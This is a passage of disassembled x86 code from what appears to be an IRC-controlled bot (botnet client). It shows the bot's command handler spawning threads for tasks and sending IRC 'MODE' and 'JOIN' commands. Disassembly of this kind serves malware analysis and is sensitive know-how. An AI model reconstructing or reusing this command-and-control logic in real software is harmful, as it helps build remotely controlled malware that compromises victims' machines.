		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset unk_434B38
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_2C8]
		push	15h
		push	eax
		call	sub_414F93
		add	esp, 28h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40BCEF
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410577

loc_410561:				; CODE XREF: sub_40CE55+3720j
		cmp	[ebp+var_568], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060
		jmp	short loc_410561
; ---------------------------------------------------------------------------

loc_410577:				; CODE XREF: sub_40CE55+370Aj
		call	dword_421088
		push	eax
		push	offset unk_434AE4
		jmp	loc_41077A
; ---------------------------------------------------------------------------

loc_410588:				; CODE XREF: sub_40CE55+254Dj
					; sub_40CE55+2564j
		push	7Fh
		lea	eax, [ebp+var_774]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_6F4]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_674]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_778], eax
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset dword_434AA4
		push	eax
		mov	[ebp+var_570], esi
		call	sub_4154E7
		add	esp, 44h
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414F93
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_778]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_41065B

loc_410649:				; CODE XREF: sub_40CE55+3804j
		cmp	[ebp+var_568], ebx
		jnz	short loc_410676
		push	32h
		call	dword_421060
		jmp	short loc_410649
; ---------------------------------------------------------------------------

loc_41065B:				; CODE XREF: sub_40CE55+37F2j
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434A58
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_410676:				; CODE XREF: sub_40CE55+37FAj
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	esi
		jmp	loc_40F7BE
; ---------------------------------------------------------------------------

loc_410686:				; CODE XREF: sub_40CE55+2508j
					; sub_40CE55+251Fj ...
		push	7Fh
		lea	eax, [ebp+var_7F0]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_770]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_6F0]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_670]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		push	20h
		lea	eax, [ebp+var_5F0]
		push	[ebp+arg_8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset unk_434A14
		push	eax
		mov	[ebp+var_7F8], esi
		call	sub_4154E7
		add	esp, 50h
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414F93
		add	esp, 0Ch
		mov	[ebp+var_7F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_7F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_41076E

loc_410758:				; CODE XREF: sub_40CE55+3917j
		cmp	[ebp+var_568], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060
		jmp	short loc_410758
; ---------------------------------------------------------------------------

loc_41076E:				; CODE XREF: sub_40CE55+3901j
		call	dword_421088
		push	eax
		push	offset unk_4349C8

loc_41077A:				; CODE XREF: sub_40CE55+2D75j
					; sub_40CE55+2EC0j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		jmp	loc_40FBE5
; ---------------------------------------------------------------------------

loc_41078B:				; CODE XREF: sub_40CE55+24DAj
					; sub_40CE55+24F1j
		push	7Fh
		lea	eax, [ebp+var_444]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	3Fh
		mov	[ebp+var_2F4], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C4]
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4107D9
		push	3Fh
		lea	eax, [ebp+var_384]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_4107D9:				; CODE XREF: sub_40CE55+3970j
		lea	eax, [ebp+var_3C4]
		mov	[ebp+var_2F0], 1
		push	eax
		lea	eax, [ebp+var_444]
		push	[ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434984
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	17h
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		push	offset sub_40CB75
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410865

loc_41084F:				; CODE XREF: sub_40CE55+3A0Ej
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40F713
		push	32h
		call	dword_421060
		jmp	short loc_41084F
; ---------------------------------------------------------------------------

loc_410865:				; CODE XREF: sub_40CE55+39F8j
		call	dword_421088
		push	eax
		push	offset unk_434938
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410876:				; CODE XREF: sub_40CE55+249Aj
					; sub_40CE55+24B1j
		push	[ebp+arg_18]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_410967
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_700]
		push	esi
		push	eax
		call	sub_415A6A
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		push	edi
		push	offset unk_4348F8
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Dh
		push	eax
		call	sub_414F93
		add	esp, 38h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410956

loc_410940:				; CODE XREF: sub_40CE55+3AFFj
		cmp	[ebp+var_568], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060
		jmp	short loc_410940
; ---------------------------------------------------------------------------

loc_410956:				; CODE XREF: sub_40CE55+3AE9j
		call	dword_421088
		push	eax
		push	offset unk_4348AC
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_410967:				; CODE XREF: sub_40CE55+3A32j
		push	offset unk_434860
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_410971:				; CODE XREF: sub_40CE55+246Cj
					; sub_40CE55+2483j
		push	[ebp+arg_18]
		push	edi
		call	dword_421134
		test	eax, eax
		jz	short loc_41099E
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset unk_434828
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_4111C1
; ---------------------------------------------------------------------------

loc_41099E:				; CODE XREF: sub_40CE55+3B28j
		push	offset dword_434808
		call	sub_409C08
		push	eax
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------

loc_4109C2:				; CODE XREF: sub_40CE55+243Ej
					; sub_40CE55+2455j
		push	edi
		lea	eax, [ebp+var_77C]
		push	104h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4109FC
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4109FC
		push	eax
		lea	eax, [ebp+var_678]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4109FC:				; CODE XREF: sub_40CE55+3B85j
					; sub_40CE55+3B96j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7FC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_800], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_678]
		push	eax
		lea	eax, [ebp+var_77C]
		push	eax
		push	offset unk_4347C4
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Bh
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_408788
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410AAF

loc_410A99:				; CODE XREF: sub_40CE55+3C58j
		cmp	[ebp+var_568], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060
		jmp	short loc_410A99
; ---------------------------------------------------------------------------

loc_410AAF:				; CODE XREF: sub_40CE55+3C42j
		call	dword_421088
		push	eax
		push	offset unk_434774
		jmp	loc_41283F
; ---------------------------------------------------------------------------

loc_410AC0:				; CODE XREF: sub_40CE55+2410j
					; sub_40CE55+2427j
		push	44h
		lea	eax, [ebp+var_48C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		push	1
		mov	[ebp+var_48C], esi
		pop	esi
		mov	word ptr [ebp+var_45C],	bx
		push	edi
		mov	[ebp+var_460], esi
		call	sub_415A5F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410AFD
		mov	word ptr [ebp+var_45C],	5

loc_410AFD:				; CODE XREF: sub_40CE55+3C9Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40F713
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F713
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_48C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4210EC
		test	eax, eax
		jnz	short loc_410B56
		push	offset unk_43473C

loc_410B43:				; CODE XREF: sub_40CE55+3E85j
					; sub_40CE55+4518j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40F713
; ---------------------------------------------------------------------------

loc_410B56:				; CODE XREF: sub_40CE55+3CE7j
		push	edi
		push	offset dword_434710
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410B61:				; CODE XREF: sub_40CE55+23E2j
					; sub_40CE55+23F9j
		push	[ebp+arg_18]
		push	offset aIdsppn	; "idsppn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CD5
		lea	eax, [ebp+var_3E8]
		push	eax
		push	104h
		call	dword_4210F8
		push	0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_414126
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		lea	eax, [ebp+var_688]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_584], 1
		mov	[ebp+var_580], ebx
		jz	short loc_410BF3
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_410BF9
; ---------------------------------------------------------------------------

loc_410BF3:				; CODE XREF: sub_40CE55+3D88j
		mov	[ebp+var_578], ebx

loc_410BF9:				; CODE XREF: sub_40CE55+3D9Cj
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_410C13
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_410C19
; ---------------------------------------------------------------------------

loc_410C13:				; CODE XREF: sub_40CE55+3DADj
		mov	[ebp+var_57C], ebx

loc_410C19:				; CODE XREF: sub_40CE55+3DBCj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4346C4
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_2C8]
		push	16h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40BCEF
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410CC4

loc_410CAE:				; CODE XREF: sub_40CE55+3E6Dj
		cmp	[ebp+var_568], ebx
		jnz	loc_40F713
		push	32h
		call	dword_421060
		jmp	short loc_410CAE
; ---------------------------------------------------------------------------

loc_410CC4:				; CODE XREF: sub_40CE55+3E57j
		call	dword_421088
		push	eax
		push	offset unk_434674
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410CD5:				; CODE XREF: sub_40CE55+3D1Dj
		push	offset unk_43461C
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_410CDF:				; CODE XREF: sub_40CE55+23B4j
					; sub_40CE55+23CBj
		push	[ebp+var_90]
		push	offset dword_436490
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp+var_C], ebx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_43460C
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	edi
		call	sub_415A5F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410D66
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_421060

loc_410D66:				; CODE XREF: sub_40CE55+3EFBj
		push	offset dword_4345E4
		call	sub_40B16D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_410D7A:				; CODE XREF: sub_40CE55+2386j
					; sub_40CE55+239Dj
		push	[ebp+var_90]
		push	offset dword_436490
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410E36
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_43460C
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4345B0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		push	edi
		call	sub_415A5F
		add	esp, 38h
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_410E36:				; CODE XREF: sub_40CE55+3F6Aj
		push	offset dword_434568
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410E40:				; CODE XREF: sub_40CE55+2358j
					; sub_40CE55+236Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434560
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 10h

loc_410E5D:				; CODE XREF: sub_40CE55+4072j
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E

loc_410E77:				; CODE XREF: sub_40CE55+4907j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D06

loc_410E9B:				; CODE XREF: sub_40CE55+579Ej
		add	esp, 0Ch
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_410EA3:				; CODE XREF: sub_40CE55+232Aj
					; sub_40CE55+2341j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_18]
		push	offset dword_434554
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 14h
		jmp	short loc_410E5D
; ---------------------------------------------------------------------------

loc_410EC9:				; CODE XREF: sub_40CE55+22FCj
					; sub_40CE55+2313j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	offset dword_43454C
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 10h
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D06
		push	[ebp+arg_18]
		push	edi
		push	offset dword_43451C

loc_410F2D:				; CODE XREF: sub_40CE55+4162j
					; sub_40CE55+41CDj ...
		call	sub_40B1E1

loc_410F32:				; CODE XREF: sub_40CE55+546Ej
		add	esp, 18h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_410F3A:				; CODE XREF: sub_40CE55+22CEj
					; sub_40CE55+22E5j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410F6B
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434514
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_410F6B:				; CODE XREF: sub_40CE55+40FFj
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D06
		push	esi
		push	edi
		push	offset dword_4344E4
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_410FBC:				; CODE XREF: sub_40CE55+22A0j
					; sub_40CE55+22B7j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	esi
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D06
		push	esi
		push	edi
		push	offset dword_4344B4
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_411027:				; CODE XREF: sub_40CE55+2272j
					; sub_40CE55+2289j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	esi
		push	offset dword_434478

loc_411059:				; CODE XREF: sub_40CE55+4AACj
					; sub_40CE55+4AC5j ...
		call	sub_40B1E1

loc_41105E:				; CODE XREF: sub_40CE55+4272j
		add	esp, 14h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_411066:				; CODE XREF: sub_40CE55+2244j
					; sub_40CE55+225Bj
		push	[ebp+var_90]
		push	offset dword_436490
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	offset dword_43446C
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_421060
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_434444
		call	sub_40B16D
		jmp	short loc_41105E
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40CE55+2216j
					; sub_40CE55+222Dj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41298E
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434CDC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		push	edi
		push	offset dword_434414
		call	sub_40B1E1
		add	esp, 2Ch
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_411137:				; CODE XREF: sub_40CE55+21E8j
					; sub_40CE55+21FFj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41298E
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		push	edi
		push	offset dword_4343E4
		call	sub_40B1E1
		jmp	loc_40FD65
; ---------------------------------------------------------------------------

loc_41118A:				; CODE XREF: sub_40CE55+21BAj
					; sub_40CE55+21D1j
		cmp	[ebp+var_C], ebx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		push	eax
		push	edi
		call	sub_40B075
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4343B4
		push	eax
		call	sub_4154E7

loc_4111C1:				; CODE XREF: sub_40CE55+3B44j
		add	esp, 14h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------

loc_4111C9:				; CODE XREF: sub_40CE55+217Aj
					; sub_40CE55+2191j
		push	edi
		push	[ebp+arg_1C]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41298E
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_411266
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41124E
		push	esi
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_43460C
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	esi
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_43437C
		push	eax
		call	sub_4154E7
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_41124E:				; CODE XREF: sub_40CE55+43A1j
		lea	eax, [ebp+var_2C8]
		push	offset dword_434338
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_411266:				; CODE XREF: sub_40CE55+4390j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	edi
		push	offset dword_43430C
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_4112AD:				; CODE XREF: sub_40CE55+1B7Fj
					; sub_40CE55+1B96j
		push	offset aR	; "r"
		push	edi
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411327
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 0Ch

loc_4112D6:				; CODE XREF: sub_40CE55+44B0j
		test	eax, eax
		jz	short loc_411307
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 20h
		jmp	short loc_4112D6
; ---------------------------------------------------------------------------

loc_411307:				; CODE XREF: sub_40CE55+4483j
		push	esi
		call	sub_415B40
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4342D4
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------

loc_411327:				; CODE XREF: sub_40CE55+4469j
		push	edi
		push	offset dword_4342A0
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411332:				; CODE XREF: sub_40CE55+1B51j
					; sub_40CE55+1B68j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	offset asc_426CB4 ; "\n"
		push	esi
		call	sub_415C10
		push	esi
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411372
		push	offset dword_434260
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_411372:				; CODE XREF: sub_40CE55+4511j
		push	esi
		push	offset dword_434234
		jmp	loc_4124C7
; ---------------------------------------------------------------------------

loc_41137D:				; CODE XREF: sub_40CE55+1B23j
					; sub_40CE55+1B3Aj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
